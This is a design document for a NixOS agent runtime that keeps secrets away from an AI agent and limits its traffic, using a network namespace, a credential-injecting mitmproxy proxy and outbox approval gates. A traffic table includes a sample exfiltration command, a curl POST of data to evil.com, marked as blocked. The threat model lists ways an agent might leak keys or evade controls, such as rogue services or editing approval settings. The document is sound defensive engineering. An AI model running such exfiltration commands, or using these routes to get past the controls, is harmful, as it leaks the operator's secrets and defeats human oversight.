title: Security - Secrets Isolation tags: [security, secrets, networking, proxy, namespace, egress] library: cowboy
Security - Secrets Isolation
Privilege separation for agent secrets and egress control via network namespace isolation, a credential-injecting reverse proxy, and broker-owned outbox services with approval gates.
All three layers are implemented in cowboy. Bridge service packages (discord-service, email-service) live in agent-pkgs and interact only through Redis streams -- they never touch secrets directly.
Related: [[Approvals]], [[Filters]]
Influenced by: OpenClaw security model -- independent security layers, prevention over detection, single-operator trust model.
Two-Library Split
| Library | Contains | Secrets access |
|---|---|---|
| cowboy | Zellij WASM plugin (runtime), agent-bridge framework, agent-proxy (mitmproxy addon), NixOS modules (network.nix, secrets-proxy.nix, bridges.nix, sandbox.nix), home-manager config | Proxy holds secrets; bridge base class provides approval flow |
| agent-pkgs | Swappable bridge services (discord-service, email-service) implementing OutboxService.send() + authenticate() | Each service gets its own EnvironmentFile from agenix; secrets never cross into agent namespace |
Problem
The agent user (UID ${cfg.uid}, default 1338) must not receive real API keys:
- The agent can execute arbitrary tools (
bash,curl) that could exfiltrate secrets home-switchcould create rogue services with full network access- Outbox services running as the agent would let the agent control send policy
- Log redaction (compiled filters) is defense-in-depth, not a security boundary
Design
Three independent security layers:
| Layer | What | Controls | Agent can modify? |
|---|---|---|---|
| 1. Network namespace | Topology | Where traffic can go | No (system-level) |
| 2. Proxy | Method + credential policy | How traffic is handled | No (broker-owned) |
| 3. Outbox approval | Send policy | Whether messages get delivered | No (system services) |
The broker (configurable, default dylan) owns all secrets and egress policy. The agent runs in a network namespace with no direct internet access. All traffic egresses through a veth pair to a mitmproxy-based reverse proxy on the host.
Host namespace (broker + all other users)
+-------------------------------------------------------------------+
| eth0 / wlan0 -- full internet |
| |
| ${cfg.name}-proxy (mitmproxy addon, on veth-host, runs as |
| broker) |
| - mapped domains: inject auth headers, allow all methods |
| - allowlisted domains: allow POST (no injection) |
| - all other domains: GET only (browse, no exfil) |
| - audit log of all traffic to systemd journal |
| |
| bridge services (broker, system-level, |
| via ${cfg.name}-bridges.target) |
| ${cfg.name}-discord-{ping,ingest,outbox} |
| ${cfg.name}-email-{ping,ingest,outbox} |
| - approval policy is NixOS system config (agent can't modify) |
| - reads from Redis, decides send/hold per channel policy |
| |
| veth-host (10.200.0.1) -----+ |
+------------------------------+------------------------------------+
| veth pair
+------------------------------+------------------------------------+
| Agent namespace (${cfg.name}-ns) |
| | |
| veth-agent (10.200.0.2) ----+ |
| default route via 10.200.0.1 |
| lo (127.0.0.1) -- Redis |
| |
| DNS: resolv.conf -> host resolver (via veth) |
| |
| iptables -t nat OUTPUT |
| --dport 443 -j DNAT --to 10.200.0.1:${cfg.secretsProxy.port} |
| |
| user@${cfg.uid}.service: NetworkNamespacePath=/run/netns/... |
| (ALL agent user services inherit namespace -- home-switch safe) |
| |
| cowboy runtime (zellij) -- dummy keys only |
| Redis (message bus) -- no secrets in streams |
+-------------------------------------------------------------------+
Traffic Flow
| Agent does | Proxy rule | Result |
|---|---|---|
web_request("https://api.anthropic.com/...", POST) | Mapped domain | Inject x-api-key, forward |
web_request("https://api.openai.com/...", POST) | Mapped domain | Inject Authorization: Bearer, forward |
curl https://github.com/repo (GET) | Not mapped + GET | Passthrough, no injection |
curl -X POST -d @data https://evil.com | Not allowlisted + POST | BLOCKED (403) |
gh pr create | github.com allowlisted + POST | Passthrough |
nix shell nixpkgs#foo | Unix socket | Nix daemon (host namespace), not proxied |
redis-cli on 127.0.0.1:6379 | Loopback | Inside namespace, no proxy |
reply(email, "message") | Redis write | Outbox holds for approval |
reply(discord, "message") | Redis write | Outbox auto-sends |
| DNS lookup | UDP via veth | Host resolver, no proxy |
Method-Based Exfiltration Prevention
HTTP method as the exfiltration gate (no content inspection):
- GET to any domain: allowed. ~2KB URL query param limit makes bulk exfiltration impractical.
- POST/PUT/PATCH to allowlisted domains only: allowed.
- POST/PUT/PATCH to non-allowlisted: blocked (proxy returns 403).
services.agent.secretsProxy = {
domainMappings = {
"api.anthropic.com" = {
secretPath = "/run/agenix/anthropic-key";
headerName = "x-api-key";
};
"api.openai.com" = {
secretPath = "/run/agenix/open-ai-key";
headerName = "Authorization";
headerTemplate = "Bearer {secret}";
};
};
allowedPostDomains = [
"github.com"
"api.github.com"
"*.githubusercontent.com"
];
};
All domains in domainMappings are implicitly POST-allowed. allowedPostDomains adds extra domains without credential injection.
Why Network Namespace (not iptables + BPF)
A network namespace is opt-out security -- the agent has no interface to the internet. The only path out is the veth pair. Even if iptables inside the namespace are flushed, traffic still routes through the veth to the host proxy. The agent never has a direct path to external hosts.
Foolproof Property
| What breaks | Result | Secrets safe? | Data safe? |
|---|---|---|---|
| iptables DNAT inside namespace flushed | Traffic NATs through host -- dummy keys fail auth | Yes | Yes (no POST path) |
| Proxy is down | Connection to 10.200.0.1 refused | Yes | Yes |
| Agent sends crafted HTTP | POST to non-allowlisted blocked regardless of content | Yes | Yes |
| Namespace accidentally deleted | Agent has no network at all | Yes | Yes |
| Agent creates rogue service via home-switch | Service inherits namespace (user@${cfg.uid} namespaced) | Yes | Yes |
| Agent modifies outbox approval settings | Can't -- bridge services are system-level NixOS config | Yes | Yes |
| Agent writes directly to outbox Redis stream | Outbox service still applies approval policy | Yes | Yes |
Separation of Concerns
Agent owns: broker owns:
message content send policy (auto/approval)
channel selection credential injection
writing to Redis reading from Redis + sending
tool invocations method restrictions (GET/POST)
home-switch (own config) system services (bridges target)
Components (Implemented)
1. Network Namespace (nix/agents/network.nix)
Boot-time oneshot. Active when cfg.enable && proxyCfg.enable.
${cfg.name}-netnsservice: creates namespace, veth pair, DNAT rule, DNS resolv.confuser@${toString cfg.uid}dropin:NetworkNamespacePath,requires+afterthe netns servicenetworking.nat.internalInterfaces = [ "veth-host" ]- Firewall opens DNS (53/udp, 53/tcp) and proxy port on
veth-host
The namespace persists across agent restarts.
2. Reverse Proxy (nix/agents/secrets-proxy.nix + pkgs/agent-proxy/)
mitmproxy addon (agent_proxy/addon.py). The AgentProxy class:
- Loads Nix-generated JSON config from
AGENT_PROXY_CONFIG - Reads secrets from files at startup into memory
request()hook: blocks non-allowlisted POST/PUT/PATCH (403), injects headers for mapped domainsresponse()hook: audit logging to journal- Domain matching supports wildcards (
*.githubusercontent.com)
NixOS module (secrets-proxy.nix) provides:
${cfg.name}-bridges.target: groups proxy + all bridge services${cfg.name}-proxyservice: runs asbrokerUser,partOfthe bridges targetExecStartPre: generates mitmproxy CA on first runStateDirectory = "${cfg.name}-proxy"for CA cert/key- Hardened:
NoNewPrivileges,ProtectSystem = "strict",ProtectHome = true
Proxy config JSON (generated from Nix options):
{
"routes": {
"api.anthropic.com": {
"inject_header": "x-api-key",
"secret_file": "/run/agenix/anthropic-key",
"template": "{secret}"
}
},
"allowed_post_domains": [
"api.anthropic.com",
"github.com",
"api.github.com"
]
}
3. CA Certificate
Generated by mitmproxy's ExecStartPre on first run:
- Stored in
/var/lib/${cfg.name}-proxy/(owned bybrokerUser) - Agent's
SSL_CERT_FILEpoints to combined bundle (system CAs + proxy CA) - mitmproxy generates leaf certs on-the-fly per SNI hostname
Only the agent namespace trusts this CA.
4. Bridge Services (nix/agents/bridges.nix)
Declarative bridge abstraction. Each bridge declaration generates:
- pubsub source registration (stream, outbox, approval config)
- 3 systemd services:
${cfg.name}-${bridge}-{ping,ingest,outbox}
Convention: bridge packages (from agent-pkgs) expose ${bridge}-ping, ${bridge}-ingest, ${bridge}-outbox entry points.
services.agent.bridges.<name> = {
pkg = pkgs.<name>-service; # from agent-pkgs
env = "/run/agenix/<name>-env"; # agenix-managed secrets
approval.required = false; # per-bridge policy
approval.notify = "discord";
approval.timeout = 3600;
user = cfg.secretsProxy.brokerUser; # default
};
All bridge services:
after+requiresthe proxy servicepartOfthe bridges target- Receive
REDIS_URL=redis://10.200.0.2:6379(agent namespace Redis via veth) - Receive their
EnvironmentFilefrom agenix
5. Outbox Approval (pkgs/agent-bridge/agent_bridge/base.py)
OutboxService base class handles the full approval lifecycle. See [[Approvals]] for the protocol.
6. Sandbox (nix/agents/sandbox.nix)
Bubblewrap-based tool isolation (orthogonal to network namespace). Three levels:
none: direct execution with timeoutstandard: pid/uts/ipc isolation, ro nix-store/etc, rw homestrict: unshare-all, capability drop, seccomp filter
Generates ${cfg.name}-tool-${name} wrappers.
Concrete Bridge Configs
# nix/agents/project/discord.nix
services.agent.bridges.discord = {
pkg = pkgs.discord-service; # from agent-pkgs
env = "/run/agenix/discord-env";
user = proxyCfg.brokerUser;
# approval.required defaults to false (conversational)
};
# nix/agents/project/email.nix
services.agent.bridges.email = {
pkg = pkgs.email-service; # from agent-pkgs
env = "/run/agenix/email-env";
user = proxyCfg.brokerUser;
restartSec = 5;
approval = {
required = true; # hold for manual review
notify = "discord";
timeout = 3600;
};
};
File Map
| File | Library | Role |
|---|---|---|
nix/agents/network.nix | cowboy | Namespace + veth + user@${cfg.uid} binding |
nix/agents/secrets-proxy.nix | cowboy | Proxy service + module options + bridges target |
nix/agents/bridges.nix | cowboy | Declarative bridge abstraction |
nix/agents/sandbox.nix | cowboy | Bubblewrap tool isolation |
nix/agents/pubsub.nix | cowboy | Source/approval options, Redis backend, sources.json |
pkgs/agent-proxy/agent_proxy/addon.py | cowboy | mitmproxy addon: injection + method gating |
pkgs/agent-bridge/agent_bridge/base.py | cowboy | OutboxService ABC: read/approve/send loop |
pkgs/agent-bridge/agent_bridge/types.py | cowboy | OutboxMessage, SendResult dataclasses |
pkgs/agent-bridge/agent_bridge/redis_utils.py | cowboy | mk_redis(), load_config() |
nix/agents/project/discord.nix | deployment | Discord bridge config (uses agent-pkgs) |
nix/agents/project/email.nix | deployment | Email bridge config (uses agent-pkgs) |
Security Properties
- Agent never sees real API keys -- dummy values only, proxy injects on the wire
- Network topology is the boundary -- no internet interface, cannot be flushed
- All HTTPS passes through proxy -- API calls get credentials, browsing passes through
- Method-based egress control -- POST only to allowlisted domains, GET anywhere
- Outbox approval gates -- broker-owned policy, per-bridge (auto-send vs hold)
- Home-switch contained --
user@${cfg.uid}is namespaced, all services inherit - Three independent layers -- namespace, proxy, outbox; each fails independently
- Agent controls what, broker controls whether
- Fail-closed -- proxy down = no HTTPS, namespace gone = no network
- Compiled filters remain inner boundary -- namespace is the outer one
Verification
ip netns list # ${cfg.name}-ns
sudo ip netns exec ${cfg.name}-ns curl https://github.com # GET passthrough
sudo ip netns exec ${cfg.name}-ns \
curl -X POST https://httpbin.org/post # BLOCKED (403)
journalctl -u ${cfg.name}-proxy # audit trail
systemctl list-dependencies ${cfg.name}-bridges.target # all services
sudo -u ${cfg.user} cat /run/agenix/anthropic-key # permission denied
systemctl show "user@${cfg.uid}.service" | grep NetworkNamespace # bound